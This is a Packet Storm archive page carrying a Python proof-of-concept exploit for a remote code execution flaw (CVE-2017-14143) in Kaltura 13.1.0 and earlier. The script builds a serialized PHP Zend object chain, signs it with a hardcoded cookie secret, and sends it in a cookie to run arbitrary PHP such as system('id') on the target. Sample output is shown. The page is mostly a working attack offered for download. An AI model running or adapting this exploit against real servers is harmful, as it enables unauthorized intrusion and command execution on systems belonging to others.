what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Kaltura 13.1.0 Remote Code Execution

Kaltura 13.1.0 Remote Code Execution
Posted Oct 23, 2017
Authored by Robin Verton

Kaltura versions 13.1.0 and below suffer from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2017-14143
SHA-256 | 73bbdc3dfb63fe71bff9b533363ded6daba1c5d251d456a8d077bb1e4caf737c

Kaltura 13.1.0 Remote Code Execution

Change Mirror Download
#!/usr/bin/env python

# Kaltura <= 13.1.0 RCE (CVE-2017-14143)
# https://telekomsecurity.github.io/2017/09/kaltura-rce.html
#
# $ python kaltura_rce.py "https://example.com" 0_xxxxxxxx "system('id')"
# [~] host: https://example.com
# [~] entry_id: 0_xxxxxxxx
# [~] code: system('id')
# [+] sending request..
# uid=1003(wwwrun) gid=50004(www) groups=50004(www),7373(kaltura)

import urllib
import urllib2
import base64
import md5
import sys

cookie_secret = 'y3tAno3therS$cr3T';

def exploit(host, entry_id, php_code):
print("[+] Sending request..")
url = "{}/index.php/keditorservices/getAllEntries?list_type=15&entry_id={}".format(host, entry_id)

cmd = "{}.die();".format(php_code)
cmd_len = len(cmd)

payload = "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\0*\0_writers\";a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\0*\0_eventsToMail\";a:1:{i:0;i:1;}s:22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\0*\0_mail\";O:9:\"Zend_Mail\":0:{}s:10:\"\0*\0_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\0*\0_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\0*\0_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\0*\0_replacement\";s:%s:\"%s\";}s:20:\"\0*\0_inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\";}s:22:\"\0*\0_subjectPrependText\";N;}}};}"

exploit_code = payload % (len(cmd), cmd)
encoded = base64.b64encode(exploit_code)
md5_hash = md5.new("%s%s" % (encoded, cookie_secret)).hexdigest()

cookies={'userzone': "%s%s" % (encoded, md5_hash)}

r = urllib2.Request(url)
r.add_header('Cookie', urllib.urlencode(cookies))

req = urllib2.urlopen(r)
return req.read()

if __name__ == '__main__':

if len(sys.argv) < 4:
print("Usage: %s <host> <entry_id> <php_code>" % sys.argv[0])
print(" example: %s http://example.com 0_abc1234 system('id')" % sys.argv[0])
sys.exit(0)

host = sys.argv[1]
entry_id = sys.argv[2]
cmd = sys.argv[3]

print("[~] host: %s" % host)
print("[~] entry_id: %s" % entry_id)
print("[~] php_code: %s" % cmd)

result = exploit(sys.argv[1], sys.argv[2], sys.argv[3])

print(result)


Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    0 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close